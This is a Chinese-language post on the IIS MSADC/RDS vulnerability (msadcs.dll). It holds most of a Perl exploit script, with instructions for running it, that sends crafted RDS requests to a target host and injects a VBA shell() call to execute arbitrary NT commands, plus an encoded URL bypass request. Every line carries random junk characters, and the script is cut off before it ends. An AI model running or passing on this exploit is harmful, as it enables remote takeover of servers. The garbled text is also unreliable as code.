IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
k,,!P"" (0E U3w?] 涉及程序:
Z|ZBKcmg Microsoft NT server
XogvtK* wJ+U[a 描述:
Ap]4QqU 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L1hD}J'$4 CKv&Re 详细:
F!7f_m0= 如果你没有时间读详细内容的话,就删除:
g7xbyBo7 c:\Program Files\Common Files\System\Msadc\msadcs.dll
+/y{^}b/ 有关的安全问题就没有了。
xLx"*jyL S3uyn78hI 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>|a\>UgC 3 ppuQQ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
yS[z2:! 关于利用ODBC远程漏洞的描述,请参看:
>Hih g/IH|Z=A http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w]};0v&\~s I*D<J$ 9N 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
v%lv8Lar' http://www.microsoft.com/security/bulletins/MS99-025faq.asp $sEB'>: ?"{QK:` 这里不再论述。
PZys u gyi)T?uS) 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@Q;i.u{V P*pbwV#| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
r\(v+cd 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
aS,a_b] CI,lkO|C K`hz
t #将下面这段保存为txt文件,然后: "perl -x 文件名"
TdQ]G2 :T_'n, #!perl
|d
$1wr #
=G(*gx # MSADC/RDS 'usage' (aka exploit) script
$ZQ"({<w<g #
LeY+p]n~ # by rain.forest.puppy
q*L
] #
sNm,Fmuz: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oW^k7#<e} # beta test and find errors!
~xS@]3n= jCzGus!rM use Socket; use Getopt::Std;
ZA0i)(j*Mn getopts("e:vd:h:XR", \%args);
5 U%MoH "H>.':c"+3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uie~' K\y [UM Lx if (!defined $args{h} && !defined $args{R}) {
?VB#GJ0M9 print qq~
eGLO!DdxZ Usage: msadc.pl -h <host> { -d <delay> -X -v }
U,PZMz`2j -h <host> = host you want to scan (ip or domain)
'WK;$XQ -d <seconds> = delay between calls, default 1 second
Bc@30KiQ^ -X = dump Index Server path table, if available
re;Lg
C -v = verbose
9#uIC7M -e = external dictionary file for step 5
Z<;U:aH?} zI:(33) Or a -R will resume a command session
eUt=n)*` );nz4/V ~; exit;}
"K ,bH UP\C"\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
OU!nN>ln if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
f`9JE8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
, jy<o+! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M;*$gV<x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
GuT6K}~|D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
X~lZ OVmS #e/2C if (!defined $args{R}){ $ret = &has_msadc;
!\^jt%e& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3:lDL2 9`B0fv Q& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
XYe~G@Q Z . "cmd /c ";
,yICNtP $in=<STDIN>; chomp $in;
/}Yqf`CZy $command="cmd /c " . $in ;
id^|\hDR 6
}! Z" if (defined $args{R}) {&load; exit;}
pTWg
m\h , 9mgYp2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8lwFAiC8 &try_btcustmr;
h3kaD CM9 XPr print "\nStep 2: Trying to make our own DSN...";
|QVr`tE< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
!tU'J"Zy !6H uFf print "\nStep 3: Trying known DSNs...";
PL@~Ys0 &known_dsn;
iU5P$7.p bDDqaO ,8 print "\nStep 4: Trying known .mdbs...";
+{.780| &known_mdb;
}X]\VSF{ Kq&qE>Ju if (defined $args{e}){
Pt)S;6j print "\nStep 5: Trying dictionary of DSN names...";
,h^r:g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%:3'4;jh% ?6f7ld5 print "Sorry Charley...maybe next time?\n";
9@ndi u[ exit;
d",(aZ d ;^ ##############################################################################
n!G.At'JP |O-`5_z$r sub sendraw { # ripped and modded from whisker
ZqQ*}l5 sleep($delay); # it's a DoS on the server! At least on mine...
wK ?@.l)u my ($pstr)=@_;
2ev*CX6. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@4drjT die("Socket problems\n");
1a$IrQE if(connect(S,pack "SnA4x8",2,80,$target)){
:=<0=JE# select(S); $|=1;
}_}KVI print $pstr; my @in=<S>;
t0Zk-/s select(STDOUT); close(S);
abi[jxCG return @in;
KlN/\N\ } else { die("Can't connect...\n"); }}
XE1$K_m dv~pddOs ##############################################################################
H_w%'v & l4vTU= sub make_header { # make the HTTP request
4(=kE>n} my $msadc=<<EOT
oQT2S>cm^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
B>z?ClH$R User-Agent: ACTIVEDATA
x7dEo%j Host: $ip
8[zb{PRu Content-Length: $clen
>;4!O%F Connection: Keep-Alive
vvq/ p|3b/plZ ADCClientVersion:01.06
l!?yu]Yon Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!`&\Lx_ A1),el-^5 --!ADM!ROX!YOUR!WORLD!
T#EFXHPr Content-Type: application/x-varg
FI"HJwAs Content-Length: $reqlen
L0Y0&;y|R =gjDCx$| EOT
2-dh;[4 ; $msadc=~s/\n/\r\n/g;
$DebXxJw0l return $msadc;}
4w4^yQE +
P7o4]:/ ##############################################################################
7 [d? ~_>cM c sub make_req { # make the RDS request
V.6)0fKZW my ($switch, $p1, $p2)=@_;
hJ*Ihwn| my $req=""; my $t1, $t2, $query, $dsn;
ObG=>WPJa j6S"UwJjp if ($switch==1){ # this is the btcustmr.mdb query
q0&$7GH4 $query="Select * from Customers where City=" . make_shell();
G:IP? z] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j 1*f]va $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
BT,b-=
;J- \X|sU:g elsif ($switch==2){ # this is general make table query
h|bT)!| $query="create table AZZ (B int, C varchar(10))";
w0w1PE-V= $dsn="$p1";}
h3!$r~T!a: PFrfd_s{>\ elsif ($switch==3){ # this is general exploit table query
]$A(9Pn" $query="select * from AZZ where C=" . make_shell();
~#PLAP3- $dsn="$p1";}
kn"q:aD XNehPZYS elsif ($switch==4){ # attempt to hork file info from index server
C <B<o[:H $query="select path from scope()";
$,fy$
Qk,S $dsn="Provider=MSIDXS;";}
Xg7|JS! 6N~q`;p0 elsif ($switch==5){ # bad query
AjkW0FB:1 $query="select";
MS3=~*+ $dsn="$p1";}
"OmD@
EMT ?o*I9[Z) $t1= make_unicode($query);
uO6{r v\ $t2= make_unicode($dsn);
YKZa$@fA? $req = "\x02\x00\x03\x00";
;H'gT+t<c $req.= "\x08\x00" . pack ("S1", length($t1));
;_O)p,p $req.= "\x00\x00" . $t1 ;
(JUZCP/ \ $req.= "\x08\x00" . pack ("S1", length($t2));
`P}9i@C $req.= "\x00\x00" . $t2 ;
$}GTG'*. $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
F;q#& return $req;}
Kibr ]w a5jL7a?6] ##############################################################################
J00VTb` o!c]
( sub make_shell { # this makes the shell() statement
i-"
p)2d=# return "'|shell(\"$command\")|'";}
*\G)z|^yx 0bS|fMgc ##############################################################################
:A1: _;
Y` sub make_unicode { # quick little function to convert to unicode
k*mt4~KLT8 my ($in)=@_; my $out;
7zemr>sIh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W-efv return $out;}
UUc8*yU)
?jx1R^ ##############################################################################
p-GAe,2q T;5r{{ sub rdo_success { # checks for RDO return success (this is kludge)
#,d I$gY my (@in) = @_; my $base=content_start(@in);
ntVS:F if($in[$base]=~/multipart\/mixed/){
vBcq_sbo return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Pe;Y1Qq>> return 0;}
3qL>-%):*
z4X}O
{
##############################################################################
jszK7$]^ -n 80& sub make_dsn { # this makes a DSN for us
m908jI_So my @drives=("c","d","e","f");
v'!a\b`9 print "\nMaking DSN: ";
^T::-pN* foreach $drive (@drives) {
iBTYY{-wF print "$drive: ";
S!v(+| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
,Wbwg "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*)M49a*UD . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Gh.[dF? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6( CDNMzj return 0 if $2 eq "404"; # not found/doesn't exist
Jg}K.1Hs if($2 eq "200") {
BZ!v%4^9 foreach $line (@results) {
;!!n{l$r' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&-d&t` ` } return 0;}
0'YG6(h kE9esC3 ##############################################################################
!K
f#@0E.. aFz5leD sub verify_exists {
5,-U.B} my ($page)=@_;
Eow_WW;P my @results=sendraw("GET $page HTTP/1.0\n\n");
l
vMlL5t return $results[0];}
hCjR&ZA L>yJ ##############################################################################
W\&8auds uN([*'0Cg sub try_btcustmr {
ZOCDA2e(j my @drives=("c","d","e","f");
}XO K,Hw my @dirs=("winnt","winnt35","winnt351","win","windows");
0Z[oKXm1p (3J$>Na foreach $dir (@dirs) {
Szbb_i{_
` print "$dir -> "; # fun status so you can see progress
}J">}j]/ foreach $drive (@drives) {
TJ q~)Bm print "$drive: "; # ditto
1cS}J:0P $reqlen=length( make_req(1,$drive,$dir) ) - 28;
S"wR%\NIp $reqlenlen=length( "$reqlen" );
7(5xL T$ $clen= 206 + $reqlenlen + $reqlen;
Lzu.)C@Amx ho##Z*O my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)E@A0 W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@=}YTtq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0U%f)mG X/iT)R]b ##############################################################################
vVE2m=!v 1N7Kv4, sub odbc_error {
5?hw ! my (@in)=@_; my $base;
%?e& WLS my $base = content_start(@in);
mEw ~yOW]M if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X.hm s?] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n a9sm $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]gYz
4OT $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}:X*7 n(& return $in[$base+4].$in[$base+5].$in[$base+6];}
S S2FTb-m print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\jOA+FU[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
bFe+m1Q_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
H,Z;=N_ r E}%KsZ ##############################################################################
Jn{OWw2 .C 8PitS sub verbose {
f7m%|v! my ($in)=@_;
B!vmQR*1 return if !$verbose;
}ZYv~E' print STDOUT "\n$in\n";}
fQ#l3@in +L7n<